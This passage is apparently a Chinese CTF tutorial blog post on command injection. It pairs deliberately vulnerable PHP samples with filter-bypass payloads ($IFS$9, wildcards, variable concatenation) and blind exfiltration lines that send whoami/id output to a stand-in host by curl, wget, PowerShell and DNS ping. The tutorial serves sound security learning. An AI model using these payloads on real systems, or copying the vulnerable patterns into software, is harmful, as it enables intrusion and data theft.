CTFer成长之路-Web进阶之命令执行漏洞

通常情况下,在开发者使用一些执行命令函数且未对用户输入的数据进行安全检查时,可以注入恶意的命令,使整台服务器处于危险中。
作为一名CTFer,命令执行的用途如下:
①技巧型直接获取flag;
②进行反弹Shell,然后进入内网的大门;
③利用出题人对权限的控制不严格,对题目环境拥有控制权,导致其他队伍选手无法解题,这样在时间上会占一定优势。

在CTF中,命令执行一般发生在远程,故被称为远程命令执行,即RCE(Remote Command Exec),也被称为RCE(Remote Code Exec)。

命令执行的原理和测试方法

命令执行原理

在各类编程语言中,为了方便程序处理,通常会存在各种执行外部程序的函数,当调用函数执行命令且未对输入做过滤时,通过注入恶意命令,会造成巨大的危害。
下面以PHP中的system()函数举例:

<?php
        $dir= $_GET['d'];
        system("echo ".$dir);
?>

在各类编程语言中,“&&”是and语法的表达,当两边的表达式都为真时,才会返回真。类似的语法还有or,通常用“||”表示。

注意,它们存在惰性,在and语法中,若第一个表达式的结果为假,则第二个表达式不会执行,因为它恒为假。与or语法类比,若第一个表达式为真,则第二个表达式也不会执行,因为它恒为真。

所以,命令注入就是通过注入一些特殊字符,改变原本的执行意图,从而执行攻击者指定的命令。

命令执行基础

在测试前,我们需要了解cmd.exe、bash程序在解析命令时的规则,掌握Windows、Linux的异同点。

1.转义字符

系统中的cmd.exe、bash程序执行命令能够解析很多特殊字符,它们的存在让BAT批处理和bash脚本处理工作更加便捷,但是如果想去掉特殊字符的特殊意义,就需要进行转义,所以转义字符即为取消字符的特殊意义。
Windows的转义字符为“^”
Linux的转义字符为“\”
可以看到,原本存在特殊意义的“&”被取消意义,从而在终端中输出。

windows:
echo 111 && echo 222
111
222

echo 111 ^&^& echo 222
111 && echo 222
linux:
echo 111 && echo 222
111
222

echo 111 \&\& echo 222
111 && echo 222

2.多条命令执行

在命令注入中通常需要注入多条命令来扩大危害,下面是一些能够构成多条命令执行的字符串:Windows下,&&、||、%0a;Linux下,&&、||、;、$()、``、%0a、%0d

显示了“noexist||echo pwnpwnpwn”,noexist程序本身不存在,所以报错,但是通过注入“||”字符,即使前面报错,还会执行后面的“echo pwnpwn”命令。

windows:
noexist || echo pwnpwn
pwnpwn

在上面的例子中,“&&”和“||”利用条件执进行多条命令执行,“%0a”和“%0d”则是由于换行而可以执行新的命令。另外,在Linux中需要注意,双引号包裹的字符串“$()”或“``”中的内容被当作命令执行,但是单引号包括的字符串就是纯字符串,不会进行任何解析。

linux:
echo 111 && echo 222
111
222
echo 111; echo 222
111
222
echo "$(id)"
uid=0(root)...
echo "`id`"
uid=0(root)...
echo '`id`'
`id`

3.注释符号

与代码注释一样,当合理利用时,命令执行能够使命令后面的其他字符成为注释内容,这样可以降低程序执行的错误。Windows的注释符号为“::”,在BAT批处理脚本中用得较多;Linux的注释符号为“#”,在bash脚本中用得较多。

命令执行的基本测试

在面对未知的命令注入时,最好通过各种Fuzz来确认命令注入点和黑名单规则。
一般命令的格式如下:
程序名1-程序参数名1-参数值1 && 程序2-程序参数名2-参数值2

下面以ping-nc 1 www.baidu.com为例构建Fuzz列表。

❖ 程序名:ping
❖ 参数:-nc
❖ 参数值:1和www.baidu.com
❖ 程序名与参数值之间的字符串:空格
❖ 整个命令

参数值有时较为复杂,可能是部分可控的,被双引号、单引号包裹,这时需要注入额外的引号来逃逸。

命令执行的绕过和技巧

命令执行的题目需要把控的因素比较多,如权限的控制、题目接下来的衔接。但是命令执行比较简单、粗暴,经常存在技巧性绕过的考点。

缺少空格

在一些代码审计中经常会禁止空格的出现或者会将空格过滤为空,下面将讲解如何突破。例如,对于如下PHP代码:

<?php
        $cmd = str_replace(" ","",$_GET['cmd']);
        echo "CMD: ".$cmd."<br>";
?>

将cmd参数中的空格过滤为空,导致执行“echo pwnpwn”命令失败。
但是在命令中间隔的字符可以不只是空格(URL编码为“%20”),还可以利用burp suite对%00~%ff区间的字符串进行测试,可以发现还能用其他字符进行绕过,如“%09”“%0b”“%0c”等。
利用burp suite进行Fuzz,再次输入“%09”字符,即“echo%09pwnpwnpwn”,就能发现可以绕过空格的限制。
以上只是其中一种通用去Fuzz未知情况的方式。若将“%0a”“%0d”等不可见字符都禁止,还可以通过字符串截取的方式获取空格。

1.Windows

例如,命令如下:
%ProgramFiles:~10,1%
其中,“~”相当于截取符,表示获取环境变量%ProgramFiles%的值,一般为C:\Program Files。所以,以上命令表示,从第10个开始且获取一个字符串,也就是空格。

2.Linux

Linux中也有一些绕过空格执行的方式:$IFS$9
bash有效,zsh、dash无效:{cmd,args}
读取文件时:cat<>flag
$IFS$9:Linux存在IFS(Internal Field Separator)环境变量,即内部字段分隔符,定义了bash shell的命令间隔字符,一般为空格。注意,当只注入$IFS时,即执行的命令结果为echo$IFSaaa,可以发现解析后的$IFSaaa变量是不存在的,所以需要间隔符来避免,通常使用“$9”。“$9”表示为当前系统Shell进程的第9个参数,通常是一个空字符串,即最终能成功执行的命令为“echo$IFS$9aaa”。

黑名单关键字

在CTF比赛中,有时会遇上黑名单关键字,如对cat、flag等字符串进行拦截,这时可以用下面的方式绕过。

1.利用变量拼接

a=c;b=at;c=he;d=llo;$a$b ${c}${d}
其中,a变量为c,b变量为at,最终$a$b是cat。c变量为he,d变量为llo,最终${c}${d}为hello,所以在这里执行的命令是“cat hello”。

2.使用通配符

在通配符中,“”代表任意一个字符串,“*”则代表任意个字符串。

cat /tm?/fl*      (Linux)
type fla*          (windows)

可以看到,上面通过cat、type命令,结合通配符,实现了对黑名单字符串的绕过。

3.借用已有字符串

若是禁用“<>?”等字符串,则可以借用其他文件中的字符串,利用substr()函数截取出某个具体字符。
echo expr substr $(awk NR==1 lemon.php) 1 1

执行无回显

在CTF中,我们经常遇到命令执行的结果不在网页上显示的情况,这时可以通过以下几种方式获取执行结果。在开始前,推荐搭建一个VTest平台https://github.com/opensec-cn/vtest,以便测试。搭建完成后,开始测试,测试代码如下:

<?php
      exec($_GET['cmd']);
?>

1.HTTP通道

假设自己的域名为example.com,下面以获取当前用户权限为例。

在Windows下,目前只能通过相对复杂的命令进行外带(如果未来Windows支持Linux命令,将更加方便数据外带):
for /F %x in ('echo hello') do start http://example.com/httplog/%x
但是其缺陷是调用浏览器后并不会关闭,并且遇上特殊字符、空格时会存在截断问题,所以可以借用powershell进行外带数据。在Powershell 2.0下,执行如下命令:
for /F %x in ('echo hello') do powershell $a = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New=Object System.Net.WebClient;$b.DownloadString('http://example.com/httplog/'+$a);
这里是对echo hello的执行结果进行Base64编码,然后通过Web请求将结果发送出去。

在Linux下,由于存在管道等,因此极其方便数据的传输,通常利用curl、wget等程序进行外带数据。例如:

curl example.com/`whoami`
wget example.com/$(id|base64)

上面便是利用多条命令执行中的“`”和“$()”进行字符串拼接,最终通过curl、wget等命令向外进行请求,从而实现了数据外带。

2.DNS通道

经常我们会以ping来测试DNS外带数据,ping的参数在Windows与Linux下有些不同。如限制ping的个数,在Windows下是“-n”,而在Linux下是“-c”。为了兼容性处理,可以联合使用,即“ping-nc 1 test.example.com”。

在Linux下:

ping -c 1 `whoami`.example.com

在Windows下相对复杂,主要利用delims命令进行分割处理,最终拼接到域名前缀上,再利用ping程序进行外带。
<1>获取计算机名:
for /F "delims=\" %i ('whoami') do ping -n 1 %i.xxx.example.com
<2>获取用户名:
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.example.com

3.时间盲注

网络不通时,可以通过时间盲注将数据跑出来,主要借用“&&”和“||”的惰性;在Linux下可使用sleep函数,在Windows下则可以选择一些耗时命令,如ping-n 5 127.0.0.1。

4.写入文件

二次返回有时会遇上网络隔离的情况,time型读数据将会极其缓慢,可以考虑将执行命令结果写入到Web目录下,再次通过Web访问文件从而达到回显目的。
例如,通过“>”重定向,将结果导出到Web目录http://www.nu1l.com/exec/3.php?cmd=whoami>test下,再次访问导出文件http://www.nu1l.com/exec/test,便可以得到结果。

©著作权归作者所有,转载或内容合作请联系作者
禁止转载,如需转载请通过简信或评论联系作者。
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,547评论 6 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,399评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,428评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,599评论 1 274
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,612评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,577评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,941评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,603评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,852评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,605评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,693评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,375评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,955评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,936评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,172评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,970评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,414评论 2 342

推荐阅读更多精彩内容